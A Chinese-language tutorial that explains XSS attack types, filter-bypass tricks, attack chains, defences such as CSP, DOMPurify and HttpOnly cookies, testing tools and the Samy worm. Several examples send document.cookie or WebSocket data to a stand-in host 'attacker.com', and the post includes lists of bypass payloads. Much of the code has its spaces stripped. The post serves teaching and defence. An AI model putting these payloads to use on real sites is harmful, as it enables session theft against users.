Web安全必知｜XSS攻击详解：从漏洞挖掘到防护实战，看这篇就够了

XSS攻击详解

1. XSS攻击概述

XSS（Cross-Site Scripting，跨站脚本攻击）是一种将恶意脚本注入到可信网站中的安全漏洞。攻击者通过在Web页面中插入恶意脚本，当其他用户浏览该页面时，脚本会在用户浏览器中执行。

关键特征：

攻击发生在用户浏览器中
利用网站对用户输入的信任
绕过同源策略（SOP）的限制
影响范围广泛：窃取Cookie、会话劫持、钓鱼攻击等

2. XSS攻击类型

2.1 反射型XSS（Reflected XSS）

特点：恶意脚本作为请求的一部分发送，服务器立即在响应中返回并执行

攻击流程：

攻击者构造包含恶意脚本的URL
诱使用户点击该URL
服务器未过滤直接将脚本返回
用户浏览器执行恶意脚本

示例：

http://vulnerable-site.com/search?q=<script>alert('XSS')</script>

2.2 存储型XSS（Stored XSS / Persistent XSS）

特点：恶意脚本被永久存储在目标服务器上（数据库、文件等）

攻击流程：

攻击者将恶意脚本提交到网站（如评论、论坛帖子）
脚本被存储在服务器数据库中
其他用户访问包含该内容的页面
恶意脚本自动加载并执行

示例：

<!-- 攻击者在评论中插入 --><script>varimg=newImage();img.src='http://attacker.com/steal?cookie='+document.cookie;</script>

2.3 DOM型XSS（DOM-based XSS）

特点：漏洞存在于客户端代码中，不涉及服务器响应

攻击流程：

攻击者构造特殊URL
用户访问该URL
客户端JavaScript读取URL参数并动态更新DOM
恶意脚本被执行

示例：

// 漏洞代码varhash=window.location.hash.substring(1);document.getElementById("content").innerHTML=hash;// 攻击URLhttp://site.com/page#<script>alert('XSS')</script>

3. XSS攻击技术细节

3.1 注入点

HTML元素内容：<div>用户输入</div>
HTML属性值：<input value="用户输入">
JavaScript代码：<script>var x = '用户输入';</script>
CSS样式：<style>用户输入</style>
URL参数：<a href="用户输入">链接</a>

3.2 绕过过滤的技术

HTML实体编码绕过

// 使用HTML实体编码<→&lt;>→&gt;" →&quot;' →&#x27;// 绕过方法：使用未编码的变体<img src=x onerror=alert(1)>

JavaScript编码绕过

// 使用Unicode、十六进制编码alert('XSS')→ \u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')

事件处理器利用

<!-- 多种事件触发方式 --><bodyonload=alert(1)><imgsrc=xonerror=alert(1)><svgonload=alert(1)>

伪协议利用

<ahref="javascript:alert(1)">点击</a><iframesrc="javascript:alert(1)">

4. 高级XSS攻击技术

4.1 基于Flash的XSS

// Flash中的漏洞利用 getURL("javascript:alert('XSS')"); loadMovie("javascript:alert('XSS')");

4.2 mXSS（突变XSS）

原理：浏览器HTML解析器与DOM解析器之间的不一致性

示例：

<!-- 原始代码 --><div><style><img src=x onerror=alert(1)></style></div><!-- 解析后 --><div><style><img src="x"onerror="alert(1)"></style></div>

4.3 盲注XSS

特点：攻击者无法直接看到执行结果，需要通过外部通信确认

利用方式：

// 发送请求到攻击者控制的服务器varxhr=newXMLHttpRequest();xhr.open('GET','http://attacker.com/log?data='+document.cookie);xhr.send();

5. XSS攻击链分析

5.1 信息收集阶段

// 获取敏感信息// Cookie窃取document.cookie// 本地存储localStorage.getItem('token')// 屏幕截图（需配合其他漏洞）// 表单数据捕获document.forms[0].addEventListener('submit',function(e){vardata=newFormData(this);// 发送到攻击者服务器});

5.2 持久化技术

// 自我复制到其他位置if(!window.hasOwnProperty('xss_payload')){window.xss_payload=true;// 注入到其他可编辑区域// 修改现有脚本// 创建隐藏iframe}

5.3 横向移动

// 自动发送恶意消息functionspreadXSS(){// 查找好友列表// 自动发送包含XSS的消息// 利用CSRF进行传播}

6. 现代XSS攻击向量

6.1 基于WebSocket的XSS

// WebSocket连接窃取varws=newWebSocket('ws://vulnerable-site.com/chat');ws.onmessage=function(event){// 将消息转发到攻击者服务器fetch('http://attacker.com/log',{method:'POST',body:event.data});};

6.2 Service Worker劫持

// 注册恶意Service Workerif('serviceWorker'innavigator){navigator.serviceWorker.register('malicious-sw.js').then(function(registration){console.log('Service Worker注册成功');});}

6.3 基于WebRTC的XSS

// 通过WebRTC泄露内部IPvarpc=newRTCPeerConnection();pc.createOffer().then(function(offer){// 解析SDP获取内部IPvarinternalIP=/([0-9]{1,3}(\.[0-9]{1,3}){3})/.exec(offer.sdp)[1];exfiltrate(internalIP);});

7. 防御措施

7.1 输入验证与过滤

// 白名单过滤示例functionsanitizeHTML(str){constallowedTags={'b':[],'i':[],'u':[],'em':[],'strong':[]};// 使用DOMPurify等库returnDOMPurify.sanitize(str,{ALLOWED_TAGS:Object.keys(allowedTags),ALLOWED_ATTR:[]});}

7.2 输出编码

上下文	编码方式	示例
HTML内容	HTML实体编码	`<script>`
HTML属性	HTML属性编码	`"alert(1)"`
JavaScript	JavaScript Unicode编码	`\u003Cscript\u003E`
URL参数	URL编码	`%3Cscript%3E`
CSS	CSS编码	`\3Cscript\3E`

7.3 内容安全策略（CSP）

# 严格的CSP头 Content-Security-Policy: default-src 'none'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';

7.4 其他安全措施

// 1. HttpOnly CookieSet-Cookie:sessionId=abc123;HttpOnly;Secure// 2. 输入长度限制<input maxlength="100">// 3. 框架安全设置// X-Frame-Options: DENY// X-Content-Type-Options: nosniff

8. 检测与测试

8.1 手动测试向量

// 基础测试payload<script>alert(1)</script><img src=x onerror=alert(1)>"><script>alert(1)</script>javascript:alert(1)// 高级测试payload<svg onload=alert(1)><iframe src="javascript:alert(1)">

8.2 自动化扫描

# 使用工具# OWASP ZAPzap-cli quick-scan --self-contained http://target.com# XSStrikepython xsstrike.py -u"http://target.com/search?q=test"# 自定义检测脚本

8.3 浏览器安全特性

// Trusted Types APIif(window.trustedTypes&&window.trustedTypes.createPolicy){constpolicy=trustedTypes.createPolicy('default',{createHTML:(string)=>{// 自定义清理逻辑returnsanitizeHTML(string);}});}

9. 真实案例分析

案例1：社交媒体XSS蠕虫

// 著名的Samy蠕虫（MySpace，2005）// 通过个人资料页面传播// 感染超过100万用户// 关键代码：<div id=mycode style="BACKGROUND:url('javascript:eval(document.all.mycode.expr)')" expr="alert('XSS')"/>

案例2：DOM XSS in jQuery

// CVE-2020-11022/11023// 漏洞代码：$('<div>').html(userInput);// 修复：$('<div>').text(userInput);

10. 发展趋势与未来挑战

10.1 新兴威胁

WebAssembly中的XSS：通过Wasm模块绕过传统检测
Shadow DOM XSS：Web组件中的隔离问题
机器学习模型投毒：间接导致XSS漏洞

10.2 防御演进

// 现代防御技术// 1. Subresource Integrity (SRI)<script src="https://cdn.example.com/script.js"integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"crossorigin="anonymous"></script>// 2. Cross-Origin Resource PolicyCross-Origin-Resource-Policy:same-site// 3. Fetch MetadataSec-Fetch-Site:cross-site Sec-Fetch-Mode:navigate